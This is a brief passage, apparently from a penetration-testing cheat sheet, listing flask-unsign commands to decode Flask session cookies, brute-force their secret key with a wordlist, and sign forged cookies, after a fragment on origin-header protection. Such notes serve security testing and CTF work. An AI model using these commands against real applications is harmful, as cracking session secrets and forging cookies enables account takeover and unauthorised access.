      • This protection can cause issues in scenarios where the origin header is altered for legitimate reasons such as using adblocker.

    Flask

  • Tools
    • flask-unsign
    • Decode Cookie flask-unsign --decode --cookie '<cookie>'
      Bruteforce Cookie flask-unsign --wordlist <wordlist> --unsign --cookie '<cookie>' --no-literal-eval
      Sign Cookie flask-unsign --sign --cookie "<plaintext json cookie>" --secret '<secret_key>'
      Sign Cookie (Legacy) flask-unsign --sign --cookie "<plaintext json cookie>" --secret '<secret_key>' --legacy